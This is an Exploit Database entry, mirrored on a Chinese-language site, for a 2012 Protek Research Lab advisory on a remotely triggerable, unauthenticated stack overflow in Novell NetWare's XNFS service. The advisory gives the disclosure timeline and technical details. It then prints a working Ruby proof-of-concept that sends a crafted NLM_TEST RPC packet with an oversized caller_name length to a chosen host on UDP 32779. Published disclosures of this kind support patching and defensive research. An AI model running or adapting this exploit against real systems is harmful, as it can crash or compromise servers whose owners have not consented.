Novell Netware – XNFS caller_name xdrDecodeString Remote Code Execution

• Exploit Database
• 12 阅读

• 作者： Francis Provencher
  日期： 2012-01-10
• 类别：

  • dos
  平台：

  • netware
• 来源：https://www.exploit-db.com/exploits/18351/

• #####################################################################################
  
  Application: Novell Netware XNFS caller_name xdrDecodeString Remote Code Execution Vulnerability
  
  Platforms: Novell Netware 6.5 SP8
  
  Exploitation: Remote code execution
  
  CVE Number:
  
  Novell TID: 5117430
  
  ZDI: ZDI-12-11
  
  {PRL}: 2012-03
  
  Author: Francis Provencher (Protek Research Lab's)
  
  Website: http://www.protekresearchlab.com/
  
  Twitter: @ProtekResearch
  
  
  #####################################################################################
  
  1) Introduction
  2) Timeline
  3) Technical details
  4) PoC
  
  
  #####################################################################################
  
  ===============
  1) Introduction
  ===============
  
  Novell, Inc. is a global software and services company based in Waltham, Massachusetts.
  
  The company specializes in enterprise operating systems, such as SUSE Linux Enterprise
  
  and Novell NetWare; identity, security, and systems management solutions; and
  
  collaboration solutions, such as Novell Groupwise and Novell Pulse.
  
  Novell was instrumental in making the Utah Valley a focus for technology and software
  
  development. Novell technology contributed to the emergence of local area networks,
  
  which displaced the dominant mainframe computing model and changed computing worldwide.
  
  Today, a primary focus of the company is on developing open source software for
  
  enterprise clients.
  
  (http://en.wikipedia.org/wiki/Novell)
  
  #####################################################################################
  
  ============================
  2) Timeline
  ============================
  
  2011-05-05 - Vulnerability reported to vendor
  2012-01-10 - Coordinated public release of advisory
  
  #####################################################################################
  
  ============================
  3) Technical details
  ============================
  
  This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware.
  
  Authentication is not required to exploit this vulnerability. The flaw exists within the xnfs.nlm component which
  
  is used when handling NFS RPC requests. This process listens on UDP port 32779. When decoding the xdr
  
  encoded caller_name from an NLM_TEST procedure request the process uses the user supplied length as
  
  the bounds for its copy to a stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary
  
  code under the context of the system.
  
  
  #####################################################################################
  
  ===========
  4) The Code
  ===========
  
  #!/usr/bin/ruby
  
  require 'socket'
  
  xnfs_server = (ARGV[0])
  target_port = (ARGV[1] || 32779)
  
  #RPC/Portmap packet
  beepbeep=
  "\x1c\xd1\xef\xab"+ # XID
  "\x00\x00\x00\x00" + # Message Type: Call (0)
  "\x00\x00\x00\x02" + # RPC Version: 2
  "\x00\x01\x86\xb5" + # Program: 100021 
  "\x00\x00\x00\x01" + # Program Version: 1 
  "\x00\x00\x00\x01" + # Procedure: TEST 
  
  "\x00\x00\x00\x00\x00\x00\x00\x00" +
  
  "\x00\x00\x00\x00\x00\x00\x00\x00" + # Verifier NULL
  
  "\x00\x00\x00\x02\x00\x00\x00\x02\x07\x40\x38\xb0\x41\x41\x41\x41"
  
  
  
  
  puts "[+]Sending UDP Packet...\n"
  puts "[+] beep beep\n"
  puts "[+]No, it's not the road runner\n"
  
  
  if (!(xnfs_server && target_port))
  puts "Usage: PRL-2012-03.rb host port (default port: 32779)\n"
  exit
  else
  
  sock = UDPSocket.open
  sock.connect(xnfs_server, target_port.to_i)
  sock.send(beepbeep, 0)
  end